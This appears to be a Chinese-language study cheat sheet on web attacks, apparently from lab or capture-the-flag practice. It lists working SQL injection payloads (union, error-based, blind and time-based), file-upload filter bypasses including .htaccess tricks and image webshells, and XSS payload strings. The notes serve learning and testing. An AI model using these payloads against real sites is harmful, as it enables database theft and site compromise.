SQL注入
-
总的来说就是拼接
-
常见的变量有
**'$id' "$id" ('id') ("id") $id**
就是括号和引号的配合,称作字符型和数字型 -
原理:就是闭合前面的,注释后面的或再闭合后面的,中间可以插入sql语句。来查询数据
-
最基本的,假设字段数为2:
-
查表名:
-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #
-
查字段名:
-1 union select 1, group_concat(column_name) from information_schema.columns where table_name='表名'
-
查值:略
-
-
报错查询
-
一般如果没有字段数,没有回显的地方可以考虑报错查询。
extractvalue(1,concat(0x7e,(select ........),0x7e))
updatexml(1,concat(0x7e,(select ......),0x7e),1)
select count(*),concat((select ),0x26,floor(rand(14)*2))a from information_shcema.tables group by a
- 我常用的就这三个
-
盲注
-
没有字段数,还不报错。但是可以注入,就盲注。
-
介绍几个函数,substr(),mid()
-
if(substr(database(),1,1)='s',1,0)
-
if(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='s',1,0)
-
left(database(), 1) > 's'
-
ascii(substr(database(),1,1)= 101
-
if(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='s',sleep(3),0)
-
-
绕过
-
注释绕过
# --+
-
过滤空格
%09 Tab键 %a0 空格 /**/ ()
-
过滤=
like regexp
uoload文件上传
-
可以再前端写一个函数onsubmit = "return checkfile()"
- 这种可以先上传一个.jpg格式的,然后通过抓包再修改成.php格式的绕过检测
-
后端检测$_FILES['submit'][type] 的属性,可以抓包修改成成image/png
-
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
-
这是个黑名单过滤,通过获取用户上传文件的文件名来过滤,里面相应的函数都有相应的绕过方法
-
白名单绕过
-
文件最后命名的时候,不会命名成原名字,会通过一系列的拼接,最后命名成jpg等格式的文件
-
%00 可以阻断后面的字符串拼接
-
-
文件包含漏洞
- 文件中有一个$file=$_GET[file]; include($file)函数,可以给file传参,给它传入一个有漏洞的文件路径 .jpg。可以先上传一个图片木马
-
还有一种修改配置.htaccess文件
-
AddType Application/x-httpd-php .png .jpg .gif
-
会把上面格式的当作php文件操作
-
XSS
-
把输入表单的值加入到html中,执行js的操作
-
常需要用到的标签有
-
<script>alert("123")</script> onclick=javascript:alert(123) <a href=javascript:alert(123)>xss</a> <img src=123 one rror=javascript:alert(123)> data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
-
-
htmlspecialchars()函数
- 会把<> "" (空格)等都转换成html实体字符
-
通过输入表单内容,判断后端做的过滤
- 一般就是将关键字等,
on src data href " 等替换成其它的或者过滤
- 一般就是将关键字等,
-
xss还通过可以修改隐藏域,来达到注入的效果